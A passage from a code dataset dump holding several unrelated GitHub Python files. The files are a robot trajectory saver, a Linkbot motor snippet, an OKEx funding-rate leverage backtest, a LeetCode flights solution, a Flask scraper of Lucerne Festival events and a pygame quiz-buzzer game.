np.empty(len(x))\n        ctsk.fill(tasks[i])\n        tskIdx.extend(ctsk)\n\n    #v = np.array([np.array(x) for x in video_trajectories])\n    \n    v = np.array(v)\n    trIdx = np.array(trIdx, ndmin=2).T\n    tskIdx = np.array(tskIdx, ndmin=2).T\n\n    data = np.concatenate((v, trIdx, tskIdx), 1)\n\n    #pdb.set_trace()\n    # Save trajectory\n    save_dir = track_dir + \"trajectories\"\n    if not os.path.exists(save_dir):\n        print(\"[out] - Creating new folder: \" + save_dir)\n        os.makedirs(save_dir)\n\n    tfile, text = os.path.splitext(vfile)\n    #save_path = os.path.join(save_dir, tfile + \".npy\")\n    save_path = os.path.join(save_dir, tfile + \".csv\")\n    \n    print(\"[out] - Saving trajectory in: \" + save_path)\n    #np.save(save_path, v)\n    np.savetxt(save_path, data, \"%.3f\")\n\n\n","repo_name":"ltonin/cnbi-robotino-analysis","sub_path":"python/tracking_trajectories.py","file_name":"tracking_trajectories.py","file_ext":"py","file_size_in_byte":13131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73167649609","text":"import linkbot3 as linkbot\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\n\ndef cb(*args, **kwargs):\n    print('Callback!')\n    print(args)\n\nl = linkbot.Linkbot('ZRG6')\nl.motors.set_event_handler(cb)\ninput('Press Enter to continue')\nl.motors.set_event_handler()\n","repo_name":"BaroboRobotics/PyLinkbot3","sub_path":"docs/source/snippets/Linkbot/motors_event.py","file_name":"motors_event.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29087661432","text":"# coding=utf-8\nimport asyncio\nimport aiohttp\nimport json\nfrom datetime import datetime\nimport gspread\nimport dateutil.parser\nimport time\nimport codecs\nimport math\nbase_url = \"https://aws.okex.com\"\nkline_req_url = base_url+\"klines\"\nfundrate_req_url = base_url+\"/api/swap/v3/instruments/\"\nitv='8h'\n\n# google gspread\ngc = gspread.service_account()\n# owner\nowner_email = 'jun.yeah7429@gmail.com'\n\n\n# 初始本金\ninitfund = 100000\n# 槓桿倍數\nLEVERAGE = 4\n\nasync def request(session,url):\n    headers = {'content-type': 'application/json'}\n    async with session.get(url,headers=headers) as res:\n        return await res.text()\n\nasync def fetch_instruments_okex():\n    async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:\n        fundrate_url = base_url +'/api/swap/v3/instruments'\n        #print(fundrate_url )\n        retr = await request(session,fundrate_url)\n        retarr = {}\n        arrobj_r = json.loads(retr)\n        for symb in arrobj_r:\n            retarr[symb['underlying_index']] = symb['instrument_id']\n        return retarr\n\nasync def collectdata_calc(instruments):    \n    async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:\n        now = datetime.now()\n        \n        startTime = 1483228800000 # 2017/1/1\n        endTime = int(time.mktime(now.timetuple())*1e3)\n        retdict = {}\n        \n        for ins in instruments:\n            retdict[ins] = {}\n        for ins in instruments:\n            t = startTime\n            fundstart = '' # 真實的 fund start time\n            fundend = '' # 真實的 fund end time\n            compoundfund = initfund # 累計本金          \n            positiveFundTimes = 0 # 勝率 資費為正的次數 \n            totalFundTimes = 0  # 資費總次數\n            \n            \n            # mdd\n            hh = -9999\n            dd = 9999\n            mdd = 9999\n            \n            # 日內最大回撤\n            prvdaynetprofit = -9999\n            dmdd = 9999\n            \n            # 最長未創高區間\n            lastHHTimestamp = 0\n            longestHHPeriod = -9999\n            \n            \n            # 波動率\n            avgfundrate = 0\n            prvcompfund = 0\n            avgvolatility = 0\n            fundratecoll = []\n            \n            fundrate_url = fundrate_req_url+ instruments[ins] +'/historical_funding_rate'\n            #print(fundrate_url )\n            retr = await request(session,fundrate_url)\n            arrobj_r = json.loads(retr)\n            arrobj_r = list(reversed(arrobj_r))\n            for fds in arrobj_r:\n                ktime = fds['funding_time']\n                if(len(fundstart)<1):fundstart = ktime\n                \n                if(not ktime  in retdict[ins]):\n                    fundrate = abs(float(fds['funding_rate'])) - 2.083e-05\n                    if(fundrate>0):\n                        positiveFundTimes +=1\n                    totalFundTimes += 1\n                    compoundfund += compoundfund*fundrate*LEVERAGE\n                    \n                    retdict[ins][ktime] = [fundrate,compoundfund-initfund]\n                    fundratecoll.append(fundrate)\n                    print(ins + ':' + str(ktime) + ' fundrate:'+str(fundrate)+' compoundfund:'+str(compoundfund))\n                    \n                    \n                    \n                    # 計算 d_dd 日內波動\n                    if((totalFundTimes%3)==0):\n                        print('one day has passed , current time = '+ str(t))\n                        todaynetprofit = compoundfund*fundrate*(-1)*LEVERAGE\n                        d_dd = todaynetprofit-prvdaynetprofit\n                        if(d_dd < dmdd):dmdd = d_dd # d_dd\n                        prvdaynetprofit = todaynetprofit\n                    \n                    # 計算 mdd 創高區間\n                    if(compoundfund > hh):\n                        hh=compoundfund\n                        _kt = datetime.timestamp(dateutil.parser.parse(ktime))\n                        if(lastHHTimestamp<1):\n                            lastHHTimestamp = datetime.timestamp(dateutil.parser.parse(ktime))\n                        period = (_kt - lastHHTimestamp)\n                        if(period > longestHHPeriod):\n                            longestHHPeriod = period\n                        lastHHTimestamp = _kt\n                    elif(compoundfund < hh):\n                        dd = compoundfund - hh\n                        if(dd < mdd):mdd=dd\n                    \n                    # 波動累加 報酬率累加\n                    if(prvcompfund<1):prvcompfund = compoundfund\n                    avgvolatility += abs(compoundfund - prvcompfund) / prvcompfund\n                    avgfundrate += fundrate\n                    prvcompfund = compoundfund\n                    \n                    fundend = ktime\n            # 計算績效\n            avgfundrate /= totalFundTimes\n            avgvolatility /= totalFundTimes\n            winrate = (positiveFundTimes / totalFundTimes)*100\n            \n            # sharp\n            def variance(data, ddof=0):\n                n = len(data)\n                mean = sum(data) / n\n                return sum((x - mean) ** 2 for x in data) / (n - ddof)\n            def stdev(data):\n                var = variance(data)\n                std_dev = math.sqrt(var)\n                return std_dev            \n            sharpe = avgfundrate / stdev(fundratecoll)\n            \n            \n            retdict[ins]['fundstart'] = fundstart\n            retdict[ins]['fundend'] = fundend\n            \n            retdict[ins]['positiveFundTimes'] = positiveFundTimes\n            retdict[ins]['totalFundTimes'] = totalFundTimes # 盈利次數\n            \n            \n            retdict[ins]['compoundfund'] = compoundfund  # 總報酬\n            retdict[ins]['winrate'] = winrate # 勝率\n            retdict[ins]['longestHHPeriod'] = longestHHPeriod/86400000 # 創高區間\n            retdict[ins]['mdd'] = (mdd/initfund)*100 # mdd\n            retdict[ins]['dmdd'] = (dmdd/initfund)*100 # dmdd\n            retdict[ins]['sharpe'] = sharpe # sharpe\n            retdict[ins]['avgvolatility'] = avgvolatility # avgvolatility\n            \n            \n        return retdict\n    \nasync def backtest():\n    \n    \n    file_object = codecs.open('fundrate_report.txt', 'w', \"utf-8\")\n    file_object.write('')\n    file_object.close()\n    \n    instruments = await fetch_instruments_okex()\n    fundhist = await collectdata_calc(instruments)\n    '''\n    for ins in instruments:\n        starttime = fundhist[ins]['fundstart']\n        endtime = fundhist[ins]['fundend'] \n        starttime_dt = datetime.timestamp(dateutil.parser.parse(starttime))\n        endtime_dt = datetime.timestamp(dateutil.parser.parse(endtime))\n        \n        durationDays = abs(starttime_dt - endtime_dt) / 86400\n        onedayret = (fundhist[ins]['compoundfund'] - initfund)/durationDays/initfund\n        yearret = onedayret * 365 * 100\n        yearret_str = \"{:.2f}\".format(yearret)\n        \n        positiveRatio = (fundhist[ins]['positiveFundTimes'] / fundhist[ins]['totalFundTimes'])*100\n        positiveRatio_str = \"{:.2f}\".format(positiveRatio)\n        \n        netReturn = fundhist[ins]['compoundfund'] - initfund\n        netReturn_str = \"{:.2f}\".format(netReturn)\n        grossRate = (netReturn / initfund)/durationDays*365*100\n        grossRate_str = \"{:.2f}\".format(grossRate)\n        \n        msg = u''\n        msg += '##  **'+ins + '** \\n'\n        msg += u'回測時間:'+ starttime +' to '+ endtime+ ' 共 ' +str(int(durationDays)) + ' 天 \\n\\n'\n        msg += u'初始資金:'+ str(initfund) +' USD\\n\\n'\n        msg += u'費率為正次數:'+ str(fundhist[ins]['positiveFundTimes'])+'\\n\\n'\n        msg += u'總領費率次數:'+ str(fundhist[ins]['totalFundTimes'])+'\\n\\n'\n        msg += u'勝率:'+ positiveRatio_str +'%\\n\\n'\n        msg += u'總利潤:'+ netReturn_str +'USD\\n\\n'\n        msg += u'最大創高區間:'+ (\"{:.2f}\".format(fundhist[ins]['longestHHPeriod'])) +'天\\n\\n'\n        msg += u'最大拉回:'+ (\"{:.2f}\".format(fundhist[ins]['mdd'])) +'%\\n\\n'\n        msg += u'每日最大拉回:'+ (\"{:.2f}\".format(fundhist[ins]['dmdd'])) +'%\\n\\n'\n        msg += u'夏普比率:'+ (\"{:.2f}\".format(fundhist[ins]['sharpe'])) +'\\n\\n'\n        msg += u'波動率:'+ (\"{:.2f}\".format(fundhist[ins]['avgvolatility'])) +'%\\n\\n'\n        msg += u'每月報酬:'+ (\"{:.2f}\".format(grossRate/12.0)) +'%\\n\\n'\n        msg += u'年化報酬:'+ grossRate_str +'%\\n\\n'\n        \n        \n        # 圖表資料 直接上傳到 google spreadsheet\n        sheetID = ''\n        rowstart = 2\n        rowend = 2\n        rows = []\n        async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:\n            kline_url = fundrate_req_url+ instruments[ins] +'/candles?start='+ starttime +'&end='+ endtime+'&granularity=14400'\n            ret = await request(session,kline_url)\n            arrobj = json.loads(ret)\n            if(len(arrobj)<1):return\n            \n        \n            # combine data\n            timestampcol = []\n            timeprice = {}\n            prvrate = 0\n            prvnetprofit = 0\n            prvprice = 0  \n            \n            sh = gc.create('okex-'+ ins)\n            sh.share(None, perm_type='anyone', role='reader')\n            sheetID = sh.id\n            worksheet = sh.get_worksheet(0)\n            worksheet.update('A1:D1',[['time','fundrate','netprofit','price']])\n            \n            \n            for key in fundhist[ins]:\n                if('Z' in key):\n                    closesttimek = {}\n                    tdiff = 9999\n                    _fundt = datetime.timestamp(dateutil.parser.parse(key))\n                    _rtimespl1 = key.split('T')\n                    _rtimespl2 = _rtimespl1[1].split('.')\n                    _rtime = _rtimespl1[0] + ' ' + _rtimespl2[0]\n                    for kline in arrobj:\n                        _kt = datetime.timestamp(dateutil.parser.parse(kline[0]))\n                        _diff = abs(_fundt - _kt)\n                        if(_diff < tdiff):\n                            closesttimek = kline\n                        if(_diff<1):break\n                    # 注意除了第一欄之外其餘都要是浮點數\n                    rows.append([_rtime, fundhist[ins][key][0]*3*365 , fundhist[ins][key][1] ,float(closesttimek[4])])\n                    rowend += 1\n                    \n            worksheet.update('A'+ str(rowstart)+':D'+str(rowend),rows)\n            time.sleep(1)\n        notionchart = 'https://notion.vip/notion-chart/draw.html?config_documentId='\n        notionchart += sheetID\n        notionchart += '&config_sheetName=Sheet1'\n        notionchart += '&config_dataRange=A2%3AD'+str(rowend)\n        notionchart += '&config_chartType=line&config_theme=lightMode&option_hAxis_format=MM%2Fdd%2FYY&option_vAxis_format=%23%2C%23%23%23&option_colors=%23D9730D%2C%230B6E99%2C%237D7C78'\n        \n        gdrivelink = '[明細](https://docs.google.com/spreadsheets/d/'+sheetID+'/edit?usp=sharing)'\n\n        \n        msg += '\\n\\n'\n        msg += '**'+ins+'**\\n\\n'\n        msg += '[績效圖]('+notionchart+')\\n\\n'\n        msg += gdrivelink + '\\n\\n'\n        msg += '---\\n\\n'\n        \n        # 寫入 md\n        file_object = codecs.open('fundrate_report.md', 'a', \"utf-8\")\n        file_object.write(msg)\n        file_object.close()\n    '''\n    # --------------------------------------------------------------------------------------------------------\n    # --------------------------------------------------------------------------------------------------------\n    # --------------------------------------------------------------------------------------------------------\n    \n    # 綜合績效\n    # 目前人工挑選，長遠來看具備上漲基本面及\n    # 及歷史回測績效較好的幣種\n    coinlist = ['SNX','IOTA','MATIC','RVN','CONV']\n    coinweight = {'SNX':0.18,'IOTA':0.35,'MATIC':0.24,'RVN':0.1,'CONV':0.13}\n    \n    \n    yearret = 0\n    positiveRatio = 0\n    mdd = 9999\n    dmdd = 9999\n    sharpe = 0\n    avgvolatility = 0\n    netReturn = 0\n    grossRate = 0\n    \n    starttime = fundhist['IOTA']['fundstart']\n    endtime = fundhist['IOTA']['fundend']    \n    starttime_dt = datetime.timestamp(dateutil.parser.parse(starttime))\n    endtime_dt = datetime.timestamp(dateutil.parser.parse(endtime)) \n    durationDays = abs(starttime_dt - endtime_dt) / 86400    \n\n    positiveFundTimes = 0\n    totalFundTimes = 0\n    for ins in coinlist:\n        \n        onedayret = (fundhist[ins]['compoundfund'] - initfund)/durationDays/initfund\n        yearret += onedayret * 365 * 100 * coinweight[ins]\n        positiveFundTimes += fundhist[ins]['positiveFundTimes']\n        totalFundTimes += fundhist[ins]['totalFundTimes']        \n        positiveRatio += (fundhist[ins]['positiveFundTimes'] / fundhist[ins]['totalFundTimes']) * 100 * coinweight[ins]\n        netReturn += (fundhist[ins]['compoundfund'] - initfund) * coinweight[ins]\n        grossRate += ((netReturn / initfund)/durationDays*365*100) * coinweight[ins]\n        sharpe += fundhist[ins]['sharpe'] * coinweight[ins]\n        avgvolatility += fundhist[ins]['avgvolatility'] * coinweight[ins]\n        if(fundhist[ins]['mdd']<mdd ):mdd=fundhist[ins]['mdd']\n        if(fundhist[ins]['dmdd']<dmdd ):dmdd=fundhist[ins]['dmdd']\n    \n    \n    msg = u''\n    msg += \"**'SNX','IOTA','MATIC','RVN','CONV' 綜合費率套利績效**\\n\\n\"\n    msg += u'回測時間:'+str(starttime_dt)+' to '+str(endtime_dt)+ ' 共 ' +str(int(durationDays)) + ' 天 \\n\\n'\n    msg += u'初始資金:'+ str(initfund) +' USD\\n\\n'\n    msg += u'費率為正次數:'+ str(positiveFundTimes)+'\\n\\n'\n    msg += u'總領費率次數:'+ str(totalFundTimes)+'\\n\\n'\n    msg += u'勝率:'+  (\"{:.2f}\".format(positiveRatio)) +'%\\n\\n'\n    msg += u'總利潤:'+ (\"{:.2f}\".format(netReturn)) +'USD\\n\\n'\n    msg += u'最大拉回:'+ (\"{:.2f}\".format(mdd)) +'%\\n\\n'\n    msg += u'每日最大拉回:'+ (\"{:.2f}\".format(dmdd)) +'%\\n\\n'\n    msg += u'夏普比率:'+ (\"{:.2f}\".format(sharpe)) +'\\n\\n'\n    msg += u'波動率:'+ (\"{:.2f}\".format(avgvolatility)) +'%\\n\\n'\n    msg += u'每月報酬:'+ (\"{:.2f}\".format(grossRate/12.0)) +'%\\n\\n'\n    msg += u'年化報酬:'+ (\"{:.2f}\".format(grossRate)) +'%\\n\\n'\n    \n    file_object = codecs.open('fundrate_report.md', 'a', \"utf-8\")\n    file_object.write(msg)\n    file_object.close()\n    \n    timestampcol = []\n    for ins in coinlist:\n        for key in fundhist[ins]:\n            if('Z' in key):\n                timestampcol.append(key)\n    \n    timestampcol.sort()\n    \n    sh = gc.create('okex-combine-report')\n    sh.share(None, perm_type='anyone', role='reader')\n    sheetID = sh.id\n    worksheet = sh.get_worksheet(0)\n    worksheet.update('A1:C1',[['time','fundrate','netprofit']])\n    rowstart = 2\n    rowend = 2\n    rows = []    \n    prvrate = {}\n    prvnetprofit = {}\n    prvdt = ''\n    for tt in timestampcol:\n        for ins in coinlist:\n            if(tt in fundhist[ins]):\n                prvrate[ins] = (fundhist[ins][tt][0] * 3 * 365 * 100) * coinweight[ins]\n                prvnetprofit[ins] = (fundhist[ins][tt][1]) * coinweight[ins]\n        \n        def _sum(arr):\n            sum=0\n            for i in arr:\n                sum = sum + i\n            return(sum)               \n        rate = _sum( list(prvrate.values()) )\n        netprofit = _sum( list(prvnetprofit.values()) )\n        \n        # convert time format\n        _fundt = datetime.timestamp(dateutil.parser.parse(tt))\n        _rtimespl1 = tt.split('T')\n        _rtimespl2 = _rtimespl1[1].split('.')\n        _rtime = _rtimespl1[0] + ' ' + _rtimespl2[0]\n        if(len(prvdt)<1):prvdt=_rtimespl1[0]\n        if(_rtimespl1[0] != prvdt):            \n            rows.append([_rtime, rate , netprofit ])\n            rowend +=1\n        prvdt=_rtimespl1[0]\n    \n    worksheet.update('A'+ str(rowstart)+':D'+str(rowend),rows)\n    notionchart = 'https://notion.vip/notion-chart/draw.html?config_documentId='\n    notionchart += sheetID\n    notionchart += '&config_sheetName=Sheet1'\n    notionchart += '&config_dataRange=A2%3AD'+str(rowend)\n    notionchart += '&config_chartType=line&config_theme=lightMode&option_hAxis_format=MM%2Fdd%2FYY&option_vAxis_format=%23%2C%23%23%23&option_colors=%23D9730D%2C%230B6E99%2C%237D7C78'\n    \n    gdrivelink = '[明細](https://docs.google.com/spreadsheets/d/'+sheetID+'/edit?usp=sharing)'\n    msg += '\\n\\n'\n    msg += \" **'SNX','IOTA','MATIC','RVN','CONV'**\\n\\n\"\n    msg += '[績效圖]('+notionchart+')\\n\\n'\n    msg += gdrivelink + '\\n\\n'\n    msg += '---\\n\\n'\n    \n    # 寫入 md\n    file_object = codecs.open('fundrate_report.md', 'a', \"utf-8\")\n    file_object.write(msg)\n    file_object.close()\n    \n    print('done')\n\nif __name__ == \"__main__\":\n    asyncio.run(backtest())\n","repo_name":"Capstone-Research/p1-fundrate-backtests","sub_path":"backtests/okex-leverage-fundrate-backtest.py","file_name":"okex-leverage-fundrate-backtest.py","file_ext":"py","file_size_in_byte":16829,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"22837467854","text":"class Solution:\n    def findCheapestPrice(self, n: int, flights: List[List[int]], src: int, dst: int, k: int) -> int:\n        nodeMap = {i:[] for i in range(n)}\n        for a, b, c in flights:\n            nodeMap[a].append((b, c))\n\n        queue = [(src, 0)]\n        minCost = float(\"inf\")\n        stop = 0\n        visited = set()\n        while queue and stop < k + 2:\n            nextStops = []\n            stop += 1\n            for currStop, currCost in queue:\n                if (currStop, currCost) in visited:\n                    continue\n                if currStop == dst:\n                    minCost = min(minCost, currCost)\n                    continue\n                for nextStop, nextCost in nodeMap[currStop]:\n                    if currCost + nextCost > minCost:\n                        continue\n                    nextStops.append((nextStop, currCost + nextCost))\n                visited.add((currStop, currCost))\n            queue = nextStops\n        return minCost if minCost != float(\"inf\") else -1","repo_name":"Aayush65/LeetCodeSolutions","sub_path":"0787-cheapest-flights-within-k-stops/0787-cheapest-flights-within-k-stops.py","file_name":"0787-cheapest-flights-within-k-stops.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"7493791338","text":"\nimport logging\nimport requests\n\nfrom flask import Flask\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\n\nfrom project.db.access_database import AccessDataBase\n\n\nDOMAIN = 'https://www.lucernefestival.ch'\nURL = f'{DOMAIN}/en/tickets/program'\nEVENT_CLASS = \"event-list\"\nPRICES_CLASS = \"prices\"\nTITLE_CLASS = \"event-title\"\nIMAGE_CLASS = \"event-image-link\"\n\nSEC = 00\nYEAR = 2022\n\ndef extract_artists(title):\n    if not title:\n        return []\n\n    txt = ' '.join(title.split())\n    artists = txt.split(' | ')\n    artists.pop(0)\n    return artists\n\ndef extract_dt_venue(el):\n    if not el:\n        return None, ''\n\n    txt = ' '.join(el[0].parent.text.split())\n\n    date, time, venue = txt.replace('Date and Venue', '').split(' | ')\n    date = date.split('.')\n    day = date[0].split(' ')[-1]\n    month = date[1]\n    time = time.split('.')\n    hour = time[0]\n    min = time[1].split(' /')[0]\n    dt_str = f'{day}/{month}/{YEAR} {hour}:{min}:{SEC}'\n    dt_obj = datetime.strptime(dt_str, \"%d/%m/%Y %H:%M:%S\")\n\n    return dt_obj, venue\n\ndef extract_works(el):\n    if not el:\n        return []\n\n    txt = ' '.join(el[0].parent.text.split())\n    return txt.replace('Program', '').split(' | ')\n\ndef extract_price(el):\n    if not el:\n        return 0\n\n    txt = ' '.join(el[0].text.split())\n    price = txt.split(' ')[-1]\n    try:\n        price = int(price)\n    except ValueError as e:\n        price = 0\n    return price\n\ndef init_app(app: Flask):\n    @app.route('/')\n    def init_database():\n        dbobj = AccessDataBase(True)\n        all_events = dbobj.get_events()\n        data = {\n            'all_events_counts': len(all_events),\n            'all_events': all_events,\n        }\n        logging.info(f'DATABASE_INITIALISED WITH:  {data}')\n        return data\n\n\n    @app.route('/crawl_events/', methods=['POST'])\n    def crawl_events():\n        resp = requests.get(URL)\n        soup = None\n        events = []\n        if resp.status_code == 200:\n            soup = BeautifulSoup(resp.text, \"lxml\")\n            events_elements = soup.select(f'ul[class^={EVENT_CLASS}]')\n            for litag in events_elements[0].find_all('li'):\n                event = {}\n\n                title_element = litag.find_all(\"p\", {\"class\": TITLE_CLASS})\n                event['title'] = ' '.join(title_element[0].text.split())\n                event['artists'] = extract_artists(event['title'])\n\n                dt_venue_el = litag.find_all(\"strong\", string=\"Date and Venue\")\n                dt, venue = extract_dt_venue(dt_venue_el)\n                event['datetime'] = dt\n                event['venue'] = venue\n\n                program_el = litag.find_all(\"strong\", string=\"Program\")\n                works = extract_works(program_el)\n                event['works'] = works\n\n                image_el = litag.find_all(\"a\", {\"class\": IMAGE_CLASS}, href=True)\n                href = image_el[0]['href']\n                event['image_link'] = f'{DOMAIN}{href}'\n\n                prices_el = litag.find_all(\"div\", {\"class\": PRICES_CLASS})\n                event['starting_price'] = extract_price(prices_el)\n\n                events.append(event)\n\n        dbobj = AccessDataBase()\n        for event in events:\n            dbobj.insert_event_in_db(event)\n\n        data = { 'total_events_set_in_db': len(events) }\n        logging.info(f'TOTAL_EVENTS_SET_IN_DATABASE:  {data}')\n        return data\n\n\n    @app.route('/get_events_in_db/')\n    def get_events():\n        dbobj = AccessDataBase()\n        all_events = dbobj.get_events()\n        data = {\n            'all_events_counts': len(all_events),\n            'all_events': all_events,\n        }\n        logging.info(f'SUCCESSFULLY GET EVENTS:  {data}')\n        return data\n","repo_name":"SaheedAde/postgres-flask-crawler","sub_path":"project/api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39277020875","text":"import pygame, time\nfrom constants import * \nfrom buzzer import SuperArduino, ShadowSuperArduino\n\n\"\"\"\nCeci est le code pour le 9 points gagnants\n\n\"\"\"\nsuper_arduino = SuperArduino(\"/dev/cu.usbmodem1413101\")\n#super_arduino = ShadowSuperArduino(\"/dev/cu.usbmodem14112101\")\n\n\n# Liste de joueurs à changer si besoin\nLISTE_JOUEURS = [\n    (\"Emile\", \"images/Emile.jpg\"),\n    (\"Quentin\", \"images/Quentin.jpg\"),\n    (\"Daniel\", \"images/Daniel.jpg\"),\n    (\"Camille\", \"images/Camille.jpg\")\n]\n\nsuccesses, failures = pygame.init()\nprint(\"{0} successes and {1} failures\".format(successes, failures))\n\n# Taille d'écran           \nW = 1920\nH = 1080\n\nTITLE_SIZE = H//12\n\nGAME_FONT = pygame.font.SysFont('Comic Sans MS', TITLE_SIZE)\nSCORE_FONT = pygame.font.SysFont('Comic Sans MS', int(TITLE_SIZE*0.5))\nscreen = pygame.display.set_mode((W, H), pygame.FULLSCREEN | pygame.SCALED)\nPLAYER_BORDER = H*0.06\nPLAYER_LONG = (W - 5*PLAYER_BORDER)/4\n# 720 / 4 180\n# \nclock = pygame.time.Clock()\nFPS = 30  # Frames per second.\n\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\n\ndef write_title(screen, title, y_pos):\n    text_qpuc = GAME_FONT.render(title, False, SEASHELL_RGB)\n    text_rect = text_qpuc.get_rect(center=(W/2, y_pos))\n    screen.blit(text_qpuc, text_rect)\n\ndef draw_hexagon(screen, x, y, color=GOLD_RGB, width=100):\n    # height = width / 2\n    width_scale = width/100\n    height_scale = width/100\n    pygame.draw.polygon(\n        screen, \n        color, \n        (\n            (x-25*width_scale, y+0), \n            (x+25*width_scale, y+0), \n            (x+50*width_scale, y+25*height_scale), \n            (x+25*width_scale, y+50*height_scale), \n            (x-25*width_scale, y+50*height_scale), \n            (x-50*width_scale, y+25*height_scale), \n            (x-25*width_scale, y+0)\n        )\n    )\n\ndef draw_player_zone(screen, i=0):\n    rectangle_height = H-5*TITLE_SIZE/2-2*PLAYER_BORDER\n    pygame.draw.rect(\n        screen, \n        GOLD_RGB, \n        pygame.Rect(\n            PLAYER_BORDER+i*(PLAYER_BORDER+PLAYER_LONG), \n            5*TITLE_SIZE/2, \n            PLAYER_LONG, \n            rectangle_height\n        )\n    )\n    pygame.draw.rect(\n        screen, \n        POWDER, \n        pygame.Rect(\n            PLAYER_BORDER+i*(PLAYER_BORDER+PLAYER_LONG), \n            5*TITLE_SIZE/2+rectangle_height*0.01, \n            PLAYER_LONG, \n            rectangle_height*0.98\n        )\n    )\n    angle = 0\n    target_width = PLAYER_LONG-1*PLAYER_BORDER\n    name, img_src = LISTE_JOUEURS[i]\n    img = pygame.image.load(img_src).convert()\n    rect = img.get_rect()\n    scale = target_width / rect.width\n    img = pygame.transform.rotozoom(img, angle, scale)\n    screen.blit(\n        img, \n        (\n            1.5*PLAYER_BORDER+i*(PLAYER_BORDER+PLAYER_LONG), \n            5*TITLE_SIZE/2+0.5*PLAYER_BORDER\n        )\n    )\n    x = PLAYER_BORDER+i*(PLAYER_BORDER+PLAYER_LONG)+PLAYER_LONG/2\n    hexagon_width = W/10\n    y = H-2*PLAYER_BORDER-1*hexagon_width/4\n    text_qpuc = SCORE_FONT.render(name, False, BLUE_RGB)\n    text_rect = text_qpuc.get_rect(center=(x, y))\n    screen.blit(text_qpuc, text_rect)\n\n\ndef draw_score(screen, i, val=0, is_on=0):\n    hexagon_width = W/10\n    color = [GOLD_RGB, GREEN_RGB, PINK_RGB][is_on]\n    draw_hexagon(\n        screen, \n        PLAYER_BORDER+i*(PLAYER_BORDER+PLAYER_LONG)+PLAYER_LONG/2, \n        H-2*PLAYER_BORDER-hexagon_width,\n        color,\n        width=hexagon_width\n    )\n    draw_hexagon(\n        screen, \n        PLAYER_BORDER+i*(PLAYER_BORDER+PLAYER_LONG)+PLAYER_LONG/2, \n        H-2*PLAYER_BORDER-hexagon_width*0.96,\n        SEASHELL_RGB,\n        width=hexagon_width*0.84\n    )\n    draw_hexagon(\n        screen, \n        PLAYER_BORDER+i*(PLAYER_BORDER+PLAYER_LONG)+PLAYER_LONG/2, \n        H-2*PLAYER_BORDER-hexagon_width*0.95,\n        BLUE_RGB,\n        width=hexagon_width*0.8\n    )\n    x = PLAYER_BORDER+i*(PLAYER_BORDER+PLAYER_LONG)+PLAYER_LONG/2\n    hexagon_width = W/10\n    y = H-2*PLAYER_BORDER-3*hexagon_width/4\n    text_qpuc = SCORE_FONT.render(str(val), False, SEASHELL_RGB)\n    text_rect = text_qpuc.get_rect(center=(x, y))\n    screen.blit(text_qpuc, text_rect)\n\ndef turn_on_play(liste_on):\n    super_arduino.turn_on_buzzer([x==0 for x in liste_on])\n    print(\"play\")\n    return True\n\nliste_score = [0, 0, 0, 0]\nliste_on = [0, 0, 0, 0] # 0 : Gold, 1 : Green, 2 : Red\n# liste_on = [True, True, True, True]\non_game = True\nscreen.fill(BLUE_RGB)\n\nwrite_title(screen, \"Questions pour un champion\", TITLE_SIZE/2)\nwrite_title(screen, \"9 points gagnants\", 3*TITLE_SIZE/2)\n\n# Affichage Logo\ntarget_heigth = TITLE_SIZE*2\n\nimg_src = \"images/ENSAE2.png\"\nimg = pygame.image.load(img_src).convert_alpha()\nrect = img.get_rect()\nimg = pygame.transform.rotozoom(img, 0, target_heigth/rect.height)\nscreen.blit(img, (PLAYER_BORDER, PLAYER_BORDER//2))\n\nimg_src = \"images/TUXAE.png\"\nimg = pygame.image.load(img_src).convert_alpha()\nrect = img.get_rect()\nimg = pygame.transform.rotozoom(img, 0, target_heigth/rect.height)\nscreen.blit(img, (W - PLAYER_BORDER-img.get_width(), PLAYER_BORDER//2))\n\nfor i in range(4):\n    draw_player_zone(screen, i=i)\n    draw_score(screen, i, val=liste_score[i])\n\nwhile True:\n    clock.tick(FPS)\n    if on_game:\n        res = super_arduino.get_winner(turn_on=False)\n        if res is not None:\n            liste = [False for i in range(4)]\n            liste[res] = True\n            print(res, liste)\n            super_arduino.turn_on_buzzer(liste)\n            on_game = False\n            liste_on[res] = 1\n            for i in range(4):\n                draw_score(screen, i, val=liste_score[i], is_on=liste_on[i])\n\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            quit()\n        elif event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_a:\n                liste_score[0] += 1\n            if event.key == pygame.K_z:\n                liste_score[1] += 1\n            if event.key == pygame.K_e:\n                liste_score[2] += 1\n            if event.key == pygame.K_r:\n                liste_score[3] += 1\n            if event.key == pygame.K_q:\n                liste_score[0] -= 1\n            if event.key == pygame.K_s:\n                liste_score[1] -= 1\n            if event.key == pygame.K_d:\n                liste_score[2] -= 1\n            if event.key == pygame.K_f:\n                liste_score[3] -= 1\n            if event.key == pygame.K_w:\n                liste_on[0] = 2\n                on_game = turn_on_play(liste_on)\n            if event.key == pygame.K_x:\n                liste_on[1] = 2\n                on_game = turn_on_play(liste_on)\n            if event.key == pygame.K_c:\n                liste_on[2] = 2\n                on_game = turn_on_play(liste_on)\n            if event.key == pygame.K_v:\n                liste_on[3] = 2\n                on_game = turn_on_play(liste_on)\n            if event.key == pygame.K_SPACE:\n                liste_on = [True, True, True, True]\n                liste_on = [0, 0, 0, 0]\n                super_arduino.turn_on_buzzer([True, True, True, True])\n                on_game = turn_on_play(liste_on)\n            if event.key == pygame.K_ESCAPE:\n                quit()\n    \n      